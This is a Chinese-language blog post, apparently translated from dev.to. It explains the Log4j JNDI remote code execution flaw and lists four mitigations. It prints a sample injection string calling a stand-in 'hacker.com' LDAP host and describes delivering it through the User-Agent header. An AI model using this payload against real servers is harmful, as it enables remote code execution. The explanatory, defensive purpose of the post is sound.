大规模 Log4j Java 漏洞:它是什么以及如何修复它?

2025-06-10

大规模 Log4j Java 漏洞:它是什么以及如何修复它?

Log4J 的漏洞于 12 月 11 日通过 POC 发现,是迄今为止我们发现的最大漏洞之一。该漏洞将影响数以万计基于 Java 的企业网站。让我们来分析一下,它到底发生了什么,以及如何修复?

什么是 Log4J?

Log4J 是 Java 中一个非常流行的开源库,用于管理应用程序日志记录。它在 Java 开发人员中非常受欢迎,因为它使 Java 中的日志记录变得非常简单。

零日漏洞是什么意思?

这意味着开发人员只有“零天”的时间来修复该漏洞,而这可能会立即影响系统。

Apache log4j

这个 log4j 漏洞会造成什么影响?

这是一个远程代码执行漏洞,意味着外部恶意代码可以利用它在服务器上运行。

你可能会想,日志库怎么会成为远程代码执行的帮凶?其实,这都是 Log4J 的一个特性造成的。它让 log4J 能够真正执行 Java 代码。这通过 JNDI 来实现。

什么是 JNDI?

JNDI 代表 Java 命名和目录接口。它是一种 API,允许应用程序以资源独立的方式检查服务。它有多种用途——例如,它允许访问 Java 资源,而无需暴露资源或资源路径。

JNDI

JNDI 的工作原理

现在,对于 log4j 来说,当它在日志中看到 JNDI 引用时,它实际上会前往资源位置,获取解析 JNDI 变量所需的内容并执行它。
在获取资源(LDAP 资源)的过程中,它可以下载远程类并执行它们!

因此,有人可以在日志中注入类似这样的内容,服务器就会受到威胁:

${jndi:ldap://hacker.com/hack}
Enter fullscreen mode Exit fullscreen mode

现在显而易见的问题是,你怎么知道哪些信息会被记录下来?因为如果你传递了一些东西,而它没有被记录下来,那么攻击就毫无意义了,对吧?

记录的最常见内容之一是用户代理(帮助服务器识别客户端的操作系统、浏览器等)。

Java用户代理

因此,如果我们可以将请求标头中的 User-Agent 更改为我们的恶意 JNDI,并且记录了 User Agent,则可以在服务器上执行远程代码。

好了。黑客入侵 101 🎃

谁受到影响?

几乎每家公司都使用 Java 和 log4J……这可能是大多数企业客户。

截至撰写本文时,苹果、亚马逊、Twitter、Cloudflare、Steam、腾讯和百度均已确认存在漏洞。但实际数量可能远不止这些。

欲了解有关 Java 和 Web 开发的更多信息,请在 Twitter 上与Mukund Madhav联系

那么,解决办法是什么?

目前有四种解决方案:

  1. 将 Log4J 升级到 2.15.0。这是Log4J 的下载链接。
  2. 设置此系统级属性
log4j2.formatMsgNoLookups=true
Enter fullscreen mode Exit fullscreen mode

这将禁用 JNDI 查找功能。如果您使用的是 log4j v2.1 - 2.14.1,此方法将有效。

3. 删除 JNDI 类文件。该文件将被命名为 JdniLookup.class,位于org/apache/logging/log4j/core/lookup/JndiLookup.class目录下。

4. 对于 2.1 至 2.14.1 版本,设置以下环境变量以强制更改

LOG4J_FORMAT_MSG_NO_LOOKUPS="true"
Enter fullscreen mode Exit fullscreen mode

就是这样。可以肯定地说,这将成为最明显的错误之一(但希望将来不会被广泛利用)。

这不是个好日子,

Java 设备

Java 在 30 亿台设备上运行

祝你修复顺利😃

鏂囩珷鏉ユ簮锛�https://dev.to/mukundmadhav/massive-log4j-java-vulnerability-what-it-is-how-to-fix-it-h7h
PREV
处理版权侵权和剽窃 剽窃与版权侵权 发现 行动计划 成功 结论 AWS 安全 LIVE!
NEXT
所有开发人员必须知道的技巧